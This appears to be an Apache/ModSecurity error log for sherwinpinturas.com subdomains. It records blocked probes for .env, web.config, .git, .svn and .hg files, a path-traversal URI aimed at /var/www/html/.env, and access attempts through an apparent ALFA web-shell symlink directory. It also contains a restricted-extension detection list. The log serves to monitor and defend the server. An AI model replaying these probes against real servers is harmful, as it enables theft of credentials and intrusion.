[Sun Oct 25 03:14:25.997180 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2024/.env"] [unique_id "at2sUbQKh4dfs72fmHxvXwAAAAE"]
[Sun Oct 25 03:14:25.997524 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2024/.env"] [unique_id "at2sUbQKh4dfs72fmHxvXwAAAAE"]
[Sun Oct 25 03:14:26.144131 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp-content/uploads/2025/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2025/.env"] [unique_id "at2sUrQKh4dfs72fmHxvYAAAAAE"]
[Sun Oct 25 03:14:26.144374 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2025/.env"] [unique_id "at2sUrQKh4dfs72fmHxvYAAAAAE"]
[Sun Oct 25 03:14:26.144727 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2025/.env"] [unique_id "at2sUrQKh4dfs72fmHxvYAAAAAE"]
[Sun Oct 25 03:14:26.161333 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 85.208.96.210:38156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:26.193594 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 34.239.197.197:10548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/module/uevent
[Sun Oct 25 03:14:26.412798 2026] [core:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] AH10244: invalid URI path (/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/var/www/html/.env)
[Sun Oct 25 03:14:27.402435 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web.config"] [unique_id "at2sU1TnwNJm6o1fQZIh8QAAAAI"]
[Sun Oct 25 03:14:27.402719 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web.config"] [unique_id "at2sU1TnwNJm6o1fQZIh8QAAAAI"]
[Sun Oct 25 03:14:27.402938 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web.config"] [unique_id "at2sU1TnwNJm6o1fQZIh8QAAAAI"]
[Sun Oct 25 03:14:27.403263 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web.config"] [unique_id "at2sU1TnwNJm6o1fQZIh8QAAAAI"]
[Sun Oct 25 03:14:29.339953 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sites/default/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/sites/default/.env"] [unique_id "at2sVVTnwNJm6o1fQZIiBQAAAAI"]
[Sun Oct 25 03:14:29.340216 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/sites/default/.env"] [unique_id "at2sVVTnwNJm6o1fQZIiBQAAAAI"]
[Sun Oct 25 03:14:29.340589 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.177.72.205:53016] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/sites/default/.env"] [unique_id "at2sVVTnwNJm6o1fQZIiBQAAAAI"]
[Sun Oct 25 03:14:42.282923 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.212.131.50:3623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:46.162139 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.236.41.241:39836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:50.478102 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 52.22.87.224:60886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/driver/module/drivers/virtio:virtio_balloon/unbind
[Sun Oct 25 03:14:58.221439 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.90.73.206:51440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:15:10.190741 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 44.205.120.22:3736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/module/uevent
[Sun Oct 25 03:15:10.191212 2026] [security2:error] [pid 2781524:tid 2781524] [client 44.205.120.22:3736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/module/uevent"] [unique_id "at2sfoHtOs-nfC4GshpRBAAAABc"]
[Sun Oct 25 03:15:10.191237 2026] [security2:error] [pid 2781524:tid 2781524] [client 44.205.120.22:3736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/module/uevent"] [unique_id "at2sfoHtOs-nfC4GshpRBAAAABc"]
[Sun Oct 25 03:15:14.158709 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 34.234.197.175:38509] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/hpet/bind
[Sun Oct 25 03:15:18.194224 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 100.28.57.133:62727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/psmouse/bind
[Sun Oct 25 03:15:30.178226 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.235.215.92:25017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:15:33.851923 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.210:29910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/cgroup/memory/memory.force_empty
[Sun Oct 25 03:15:34.135667 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.231.181.240:2495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:15:38.150562 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.224.104.67:25828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:15:38.808593 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.10:43996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/alloc_calls
[Sun Oct 25 03:15:42.140193 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.205.192.249:59741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:15:44.311512 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 85.208.96.204:27988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/partial
[Sun Oct 25 03:16:18.121270 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 44.205.120.22:43832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:07/eject
[Sun Oct 25 03:16:21.705595 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 85.208.96.209:54586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:16:22.133211 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.156.248.117:46473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:16:34.128984 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.206.47.187:10497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:16:50.142617 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.4.229.9:9477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:16:54.395318 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.214.176.44:21949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:00.827997 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 85.208.96.198:24834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:02.145107 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.215.210.112:31203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:06.141045 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.222.190.107:35232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:10.125158 2026] [ssl:error] [pid 2775672:tid 2775672] (5)Input/output error: [client 184.72.84.154:56506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:14.199791 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 184.73.47.24:4783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:18.200846 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.94.156.104:51645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:34.286420 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.45.194.165:7801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:38.178276 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.82.40.168:45789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:17:42.278985 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.235.158.162:9526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:18:18.167850 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 50.16.216.166:50033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:18:26.192384 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.207.47.227:58447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:18:29.985931 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.210:11802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/object_size
[Sun Oct 25 03:18:30.285258 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.218.103.254:22649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:18:34.008432 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.198:17198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/min_partial
[Sun Oct 25 03:18:34.152950 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.209.35.147:6708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:18:46.192080 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.223.134.5:21778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:19:22.243350 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.215.221.125:4464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:19:39.669232 2026] [security2:error] [pid 2781480:tid 2781480] [client 45.138.12.6:48570] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2ti6rU4NwppjTEGaL5nwAAAAY"]
[Sun Oct 25 03:19:39.669504 2026] [security2:error] [pid 2781480:tid 2781480] [client 45.138.12.6:48570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2ti6rU4NwppjTEGaL5nwAAAAY"]
[Sun Oct 25 03:19:39.669800 2026] [security2:error] [pid 2781480:tid 2781480] [client 45.138.12.6:48570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2ti6rU4NwppjTEGaL5nwAAAAY"]
[Sun Oct 25 03:19:39.957033 2026] [security2:error] [pid 2781523:tid 2781523] [client 45.138.12.6:48578] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2ti9xXWZMI2DaSlsHwSQAAABY"]
[Sun Oct 25 03:19:39.957294 2026] [security2:error] [pid 2781523:tid 2781523] [client 45.138.12.6:48578] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2ti9xXWZMI2DaSlsHwSQAAABY"]
[Sun Oct 25 03:19:39.957549 2026] [security2:error] [pid 2781523:tid 2781523] [client 45.138.12.6:48578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2ti9xXWZMI2DaSlsHwSQAAABY"]
[Sun Oct 25 03:19:39.957808 2026] [security2:error] [pid 2781523:tid 2781523] [client 45.138.12.6:48578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2ti9xXWZMI2DaSlsHwSQAAABY"]
[Sun Oct 25 03:19:40.262825 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:48590] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjALaiqtlZaJBsx4XRAAAAA0"]
[Sun Oct 25 03:19:40.263165 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:48590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjALaiqtlZaJBsx4XRAAAAA0"]
[Sun Oct 25 03:19:40.263421 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:48590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjALaiqtlZaJBsx4XRAAAAA0"]
[Sun Oct 25 03:19:40.548133 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.138.12.6:48596] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tjIHtOs-nfC4GshpRDgAAABc"]
[Sun Oct 25 03:19:40.548366 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.138.12.6:48596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tjIHtOs-nfC4GshpRDgAAABc"]
[Sun Oct 25 03:19:40.548697 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.138.12.6:48596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tjIHtOs-nfC4GshpRDgAAABc"]
